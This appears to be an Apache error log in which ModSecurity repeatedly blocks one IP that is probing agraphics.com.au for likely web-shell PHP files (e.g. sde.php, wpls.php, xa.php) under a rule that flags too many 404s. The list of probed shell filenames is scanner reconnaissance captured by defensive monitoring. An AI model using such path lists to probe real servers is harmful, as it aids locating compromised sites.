[Sat Apr 18 23:28:01.382982 2026] [:error] [pid 32678:tid 32717] [client 20.203.141.81:30347] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3akp.php"] [unique_id "aeOjARUlAXU_ZWUu5y8Z8gAAAoo"]
[Sat Apr 18 23:28:01.963500 2026] [:error] [pid 32678:tid 32710] [client 20.203.141.81:32811] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3akp.php"] [unique_id "aeOjARUlAXU_ZWUu5y8Z9wAAAoM"]
[Sat Apr 18 23:28:02.658554 2026] [:error] [pid 13023:tid 13031] [client 20.203.141.81:41153] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3akp.php"] [unique_id "aeOjAv1e7hG8DAeABB9ONwAAAQY"]
[Sat Apr 18 23:28:03.300674 2026] [:error] [pid 13023:tid 13043] [client 20.203.141.81:64213] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3akp.php"] [unique_id "aeOjA_1e7hG8DAeABB9OOgAAARI"]
[Sat Apr 18 23:28:03.900867 2026] [:error] [pid 34290:tid 34343] [client 20.203.141.81:41155] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sde.php"] [unique_id "aeOjAxqX6WpmmAXOBi8wNgAAAdg"]
[Sat Apr 18 23:28:04.521979 2026] [:error] [pid 9970:tid 9976] [client 20.203.141.81:61813] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sde.php"] [unique_id "aeOjBCYdRLRhVmaIMx3xnQAAAMI"]
[Sat Apr 18 23:28:05.244099 2026] [:error] [pid 32678:tid 32716] [client 20.203.141.81:8153] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sde.php"] [unique_id "aeOjBRUlAXU_ZWUu5y8Z-gAAAok"]
[Sat Apr 18 23:28:06.316219 2026] [:error] [pid 32678:tid 32731] [client 20.203.141.81:32210] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sde.php"] [unique_id "aeOjBhUlAXU_ZWUu5y8Z-wAAApg"]
[Sat Apr 18 23:28:06.976166 2026] [:error] [pid 9970:tid 9990] [client 20.203.141.81:39935] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdn3.php"] [unique_id "aeOjBiYdRLRhVmaIMx3xoQAAANA"]
[Sat Apr 18 23:28:07.508624 2026] [:error] [pid 9970:tid 9978] [client 20.203.141.81:63734] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdn3.php"] [unique_id "aeOjByYdRLRhVmaIMx3xowAAAMQ"]
[Sat Apr 18 23:28:08.098484 2026] [:error] [pid 34290:tid 34331] [client 20.203.141.81:32828] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdn3.php"] [unique_id "aeOjCBqX6WpmmAXOBi8wOgAAAcw"]
[Sat Apr 18 23:28:08.634286 2026] [:error] [pid 9863:tid 9887] [client 20.203.141.81:47662] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cdn3.php"] [unique_id "aeOjCDjjiypiFrTucbLcogAAAA4"]
[Sat Apr 18 23:28:09.189267 2026] [:error] [pid 9865:tid 9959] [client 20.203.141.81:58511] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fone1.php"] [unique_id "aeOjCazb5knECIY-C-itOAAAAJY"]
[Sat Apr 18 23:28:09.838674 2026] [:error] [pid 34290:tid 34339] [client 20.203.141.81:7876] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fone1.php"] [unique_id "aeOjCRqX6WpmmAXOBi8wPgAAAdQ"]
[Sat Apr 18 23:28:10.487102 2026] [proxy_fcgi:error] [pid 32647:tid 32669] [client 20.203.141.81:64236] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:28:10.751950 2026] [proxy_fcgi:error] [pid 32647:tid 32659] [client 20.203.141.81:64236] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:28:11.064314 2026] [proxy_fcgi:error] [pid 32647:tid 32671] [client 20.203.141.81:64236] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:28:11.303415 2026] [proxy_fcgi:error] [pid 32647:tid 32661] [client 20.203.141.81:64236] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:28:11.666657 2026] [proxy_fcgi:error] [pid 32647:tid 32670] [client 20.203.141.81:64236] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:28:11.961565 2026] [proxy_fcgi:error] [pid 32647:tid 32664] [client 20.203.141.81:64236] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:28:12.436885 2026] [proxy_fcgi:error] [pid 32647:tid 32654] [client 20.203.141.81:64236] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:28:12.705960 2026] [proxy_fcgi:error] [pid 32647:tid 32672] [client 20.203.141.81:64236] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:28:12.956935 2026] [proxy_fcgi:error] [pid 32647:tid 32668] [client 20.203.141.81:64236] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:28:13.227920 2026] [proxy_fcgi:error] [pid 32647:tid 32657] [client 20.203.141.81:64236] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:28:13.464275 2026] [:error] [pid 32647:tid 32674] [client 20.203.141.81:64236] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeOjDUkxooM0iRo6e542VwAAAhg"]
[Sat Apr 18 23:28:14.013883 2026] [:error] [pid 32677:tid 32699] [client 20.203.141.81:32775] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeOjDhngmUE3LdC-wP725gAAAlM"]
[Sat Apr 18 23:28:14.639923 2026] [:error] [pid 32677:tid 32684] [client 20.203.141.81:56995] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeOjDhngmUE3LdC-wP725wAAAkQ"]
[Sat Apr 18 23:28:15.357557 2026] [:error] [pid 9865:tid 9938] [client 20.203.141.81:64254] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeOjD6zb5knECIY-C-itQwAAAIE"]
[Sat Apr 18 23:28:15.866068 2026] [:error] [pid 32678:tid 32724] [client 20.203.141.81:8137] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeOjDxUlAXU_ZWUu5y8aAAAAApE"]
[Sat Apr 18 23:28:16.491755 2026] [:error] [pid 32647:tid 32650] [client 20.203.141.81:58508] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeOjEEkxooM0iRo6e542WAAAAgA"]
[Sat Apr 18 23:28:17.062625 2026] [:error] [pid 32647:tid 32655] [client 20.203.141.81:36628] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeOjEUkxooM0iRo6e542WQAAAgU"]
[Sat Apr 18 23:28:17.586073 2026] [:error] [pid 9970:tid 9993] [client 20.203.141.81:51713] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeOjESYdRLRhVmaIMx3xsAAAANM"]
[Sat Apr 18 23:28:18.190104 2026] [:error] [pid 9970:tid 9996] [client 20.203.141.81:63699] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeOjEiYdRLRhVmaIMx3xswAAANY"]
[Sat Apr 18 23:28:18.737631 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:32801] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeOjEiYdRLRhVmaIMx3xtQAAAM0"]
[Sat Apr 18 23:28:19.430296 2026] [:error] [pid 9863:tid 9897] [client 20.203.141.81:61820] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeOjEzjjiypiFrTucbLcpAAAABg"]
[Sat Apr 18 23:28:20.040508 2026] [:error] [pid 9865:tid 9957] [client 20.203.141.81:61798] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeOjFKzb5knECIY-C-itSwAAAJQ"]
[Sat Apr 18 23:28:20.578868 2026] [:error] [pid 13023:tid 13034] [client 20.203.141.81:58518] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oco.php"] [unique_id "aeOjFP1e7hG8DAeABB9OPwAAAQk"]
[Sat Apr 18 23:28:21.299187 2026] [:error] [pid 32678:tid 32729] [client 20.203.141.81:31036] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oco.php"] [unique_id "aeOjFRUlAXU_ZWUu5y8aBwAAApY"]
[Sat Apr 18 23:28:21.888162 2026] [:error] [pid 32678:tid 32714] [client 20.203.141.81:61801] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oco.php"] [unique_id "aeOjFRUlAXU_ZWUu5y8aCAAAAoc"]
[Sat Apr 18 23:28:22.476328 2026] [:error] [pid 32678:tid 32708] [client 20.203.141.81:58506] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oco.php"] [unique_id "aeOjFhUlAXU_ZWUu5y8aCQAAAoE"]
[Sat Apr 18 23:28:23.030994 2026] [:error] [pid 34290:tid 34331] [client 20.203.141.81:54819] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogr.php"] [unique_id "aeOjFxqX6WpmmAXOBi8wRAAAAcw"]
[Sat Apr 18 23:28:23.688940 2026] [:error] [pid 9865:tid 9941] [client 20.203.141.81:57009] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogr.php"] [unique_id "aeOjF6zb5knECIY-C-itUAAAAIQ"]
[Sat Apr 18 23:28:24.301154 2026] [:error] [pid 9970:tid 9985] [client 20.203.141.81:32192] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogr.php"] [unique_id "aeOjGCYdRLRhVmaIMx3xvAAAAMs"]
[Sat Apr 18 23:28:24.894420 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:51730] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ogr.php"] [unique_id "aeOjGCYdRLRhVmaIMx3xwQAAAMc"]
[Sat Apr 18 23:28:25.507201 2026] [:error] [pid 34288:tid 34302] [client 20.203.141.81:56992] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oti.php"] [unique_id "aeOjGeTIiy__PtiLmpnhBQAAAYo"]
[Sat Apr 18 23:28:26.200706 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:56963] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oti.php"] [unique_id "aeOjGiYdRLRhVmaIMx3xyAAAAMU"]
[Sat Apr 18 23:28:26.807541 2026] [:error] [pid 9865:tid 9950] [client 20.203.141.81:54829] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oti.php"] [unique_id "aeOjGqzb5knECIY-C-itVAAAAI0"]
[Sat Apr 18 23:28:27.537462 2026] [:error] [pid 9865:tid 9944] [client 20.203.141.81:7883] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oti.php"] [unique_id "aeOjG6zb5knECIY-C-itVQAAAIc"]
[Sat Apr 18 23:28:28.143200 2026] [:error] [pid 34288:tid 34300] [client 20.203.141.81:37933] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-124.php"] [unique_id "aeOjHOTIiy__PtiLmpnhBgAAAYg"]
[Sat Apr 18 23:28:28.835497 2026] [:error] [pid 9865:tid 9939] [client 20.203.141.81:32772] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-124.php"] [unique_id "aeOjHKzb5knECIY-C-itVwAAAII"]
[Sat Apr 18 23:28:29.613409 2026] [:error] [pid 9865:tid 9941] [client 20.203.141.81:40477] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-124.php"] [unique_id "aeOjHazb5knECIY-C-itWAAAAIQ"]
[Sat Apr 18 23:28:30.440407 2026] [:error] [pid 34290:tid 34338] [client 20.203.141.81:63705] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-124.php"] [unique_id "aeOjHhqX6WpmmAXOBi8wSQAAAdM"]
[Sat Apr 18 23:28:31.158721 2026] [:error] [pid 9970:tid 9994] [client 20.203.141.81:7299] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpls.php"] [unique_id "aeOjHyYdRLRhVmaIMx3xygAAANQ"]
[Sat Apr 18 23:28:31.732020 2026] [:error] [pid 9970:tid 9982] [client 20.203.141.81:58526] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpls.php"] [unique_id "aeOjHyYdRLRhVmaIMx3xzQAAAMg"]
[Sat Apr 18 23:28:32.318405 2026] [:error] [pid 32647:tid 32662] [client 20.203.141.81:41171] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpls.php"] [unique_id "aeOjIEkxooM0iRo6e542XAAAAgw"]
[Sat Apr 18 23:28:32.979773 2026] [:error] [pid 9864:tid 9908] [client 20.203.141.81:56999] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpls.php"] [unique_id "aeOjIICFeowknfXHM7k4fAAAAEM"]
[Sat Apr 18 23:28:33.813531 2026] [:error] [pid 9864:tid 9907] [client 20.203.141.81:31019] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "aeOjIYCFeowknfXHM7k4fQAAAEI"]
[Sat Apr 18 23:28:34.499722 2026] [:error] [pid 9970:tid 9980] [client 20.203.141.81:32219] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "aeOjIiYdRLRhVmaIMx3x0wAAAMY"]
[Sat Apr 18 23:28:35.271407 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:32224] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "aeOjI_1e7hG8DAeABB9ORAAAARA"]
[Sat Apr 18 23:28:36.171571 2026] [:error] [pid 32678:tid 32727] [client 20.203.141.81:37898] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "aeOjJBUlAXU_ZWUu5y8aEwAAApQ"]
[Sat Apr 18 23:28:36.815361 2026] [:error] [pid 9863:tid 9889] [client 20.203.141.81:7875] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeOjJDjjiypiFrTucbLcpQAAABA"]
[Sat Apr 18 23:28:37.340993 2026] [:error] [pid 9970:tid 9998] [client 20.203.141.81:41196] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeOjJSYdRLRhVmaIMx3x3QAAANg"]
[Sat Apr 18 23:28:37.950904 2026] [:error] [pid 9970:tid 9988] [client 20.203.141.81:41164] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeOjJSYdRLRhVmaIMx3x3gAAAM4"]
